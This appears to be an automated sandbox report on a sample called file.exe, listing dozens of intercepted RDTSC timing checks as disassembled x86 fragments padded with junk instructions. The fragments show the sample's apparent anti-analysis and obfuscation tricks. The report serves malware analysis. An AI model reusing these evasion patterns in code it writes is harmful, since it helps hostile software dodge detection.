Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0963 second address: 5C0969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0969 second address: 5C096E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0D8B second address: 5C0D8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0D8F second address: 5C0D9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0EE8 second address: 5C0EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F4F7C81208Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f js 00007F4F7C812076h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C113B second address: 5C114A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F7D4AED1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C114A second address: 5C114E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C114E second address: 5C1154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C1154 second address: 5C115E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C115E second address: 5C116F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F4F7D4AED1Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C116F second address: 5C1184 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F7C812081h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C1C2B second address: 5C1C3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a je 00007F4F7D4AED16h 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C1C3C second address: 5C1C46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F4F7C812076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C20E2 second address: 5C20E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C20E6 second address: 5C20EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C20EA second address: 5C20F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3979 second address: 5C399C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F4F7C812089h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C6F04 second address: 5C6F34 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F4F7D4AED21h 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f jmp 00007F4F7D4AED23h 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C707A second address: 5C707F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C707F second address: 5C70A7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4F7D4AED2Ah 0x00000008 jmp 00007F4F7D4AED24h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jnp 00007F4F7D4AED1Eh 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C70A7 second address: 5C70E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 jmp 00007F4F7C812084h 0x0000000e mov eax, dword ptr [eax] 0x00000010 pushad 0x00000011 pushad 0x00000012 jns 00007F4F7C812076h 0x00000018 push edx 0x00000019 pop edx 0x0000001a popad 0x0000001b push ebx 0x0000001c pushad 0x0000001d popad 0x0000001e pop ebx 0x0000001f popad 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 jnp 00007F4F7C812084h 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d pop eax 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7368 second address: 5C7376 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F4F7D4AED1Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 586D55 second address: 586D95 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4F7C812076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jl 00007F4F7C812076h 0x00000011 jmp 00007F4F7C81207Eh 0x00000016 pop eax 0x00000017 jmp 00007F4F7C812088h 0x0000001c push eax 0x0000001d push edx 0x0000001e jno 00007F4F7C812076h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 586D95 second address: 586D99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CED35 second address: 5CED39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEE7E second address: 5CEE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEE84 second address: 5CEE8E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4F7C812076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEE8E second address: 5CEE95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF4F9 second address: 5CF4FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF4FD second address: 5CF503 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF503 second address: 5CF522 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C812087h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF522 second address: 5CF526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF526 second address: 5CF52C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF700 second address: 5CF70B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D16FF second address: 5D1705 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1804 second address: 5D1839 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007F4F7D4AED2Ch 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1839 second address: 5D1879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F4F7C812081h 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F4F7C81207Dh 0x00000017 jmp 00007F4F7C812084h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1A0C second address: 5D1A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1E11 second address: 5D1E17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D268F second address: 5D2695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2695 second address: 5D2699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2699 second address: 5D269D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D269D second address: 5D26C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4F7C812089h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D277F second address: 5D2783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2F41 second address: 5D2F45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D498B second address: 5D4990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5B08 second address: 5D5B0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5B0C second address: 5D5B19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D655F second address: 5D6565 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6565 second address: 5D6578 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4F7D4AED16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D731D second address: 5D7321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6578 second address: 5D657C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7321 second address: 5D7325 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D657C second address: 5D6582 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D70B8 second address: 5D70BD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D70BD second address: 5D70D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4F7D4AED20h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D70D7 second address: 5D70E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F7C81207Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDF2A second address: 5DDF39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DEE53 second address: 5DEE59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DEE59 second address: 5DEE5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D99A0 second address: 5D99A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC115 second address: 5DC119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D99A4 second address: 5D99C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C812087h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC119 second address: 5DC123 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4F7D4AED16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0EB9 second address: 5E0ECD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C81207Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2565 second address: 5E257E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4F7D4AED16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jl 00007F4F7D4AED18h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E257E second address: 5E2582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2582 second address: 5E261B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F4F7D4AED18h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 mov ebx, 2438D066h 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push edi 0x0000002c call 00007F4F7D4AED18h 0x00000031 pop edi 0x00000032 mov dword ptr [esp+04h], edi 0x00000036 add dword ptr [esp+04h], 00000014h 0x0000003e inc edi 0x0000003f push edi 0x00000040 ret 0x00000041 pop edi 0x00000042 ret 0x00000043 mov edi, eax 0x00000045 jnc 00007F4F7D4AED1Ch 0x0000004b push 00000000h 0x0000004d sub dword ptr [ebp+122D1D72h], edx 0x00000053 xchg eax, esi 0x00000054 jg 00007F4F7D4AED2Ch 0x0000005a jmp 00007F4F7D4AED26h 0x0000005f push eax 0x00000060 pushad 0x00000061 pushad 0x00000062 jl 00007F4F7D4AED16h 0x00000068 push edi 0x00000069 pop edi 0x0000006a popad 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007F4F7D4AED1Ch 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DEF96 second address: 5DEFD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C812080h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F4F7C81208Ch 0x0000000f jmp 00007F4F7C812086h 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jg 00007F4F7C812076h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DEFD2 second address: 5DEFD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DEFD8 second address: 5DEFF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F7C812086h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E650B second address: 5E6512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6512 second address: 5E6518 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6518 second address: 5E651C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E65B8 second address: 5E65BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E65BC second address: 5E65C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E172A second address: 5E1730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E75DA second address: 5E75DF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1730 second address: 5E1757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jmp 00007F4F7C812081h 0x0000000b pop ecx 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4F7C81207Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8594 second address: 5E85B9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4F7D4AED2Ch 0x00000008 jmp 00007F4F7D4AED26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E85B9 second address: 5E85BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E36E4 second address: 5E36F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F7D4AED20h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E96ED second address: 5E96F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E96F3 second address: 5E96F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E96F7 second address: 5E96FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E37CA second address: 5E37F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4F7D4AED23h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA5C5 second address: 5EA5CA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA5CA second address: 5EA608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jns 00007F4F7D4AED2Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4F7D4AED26h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA608 second address: 5EA60C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E57E6 second address: 5E5808 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007F4F7D4AED18h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 push ebx 0x00000015 pushad 0x00000016 popad 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5808 second address: 5E580C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E580C second address: 5E5884 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4F7D4AED16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F4F7D4AED18h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 push dword ptr fs:[00000000h] 0x0000002d mov dword ptr [ebp+122D1CC4h], ebx 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a sub dword ptr [ebp+12465D33h], esi 0x00000040 mov dword ptr [ebp+122D226Dh], ebx 0x00000046 mov eax, dword ptr [ebp+122D0371h] 0x0000004c push ebx 0x0000004d add ebx, 67AAADA1h 0x00000053 pop edi 0x00000054 push FFFFFFFFh 0x00000056 call 00007F4F7D4AED1Dh 0x0000005b sbb ebx, 057585A3h 0x00000061 pop edi 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 push esi 0x00000067 pop esi 0x00000068 push eax 0x00000069 pop eax 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5884 second address: 5E588F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F4F7C812076h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E990B second address: 5E990F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4702 second address: 5E4710 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4F7C812076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
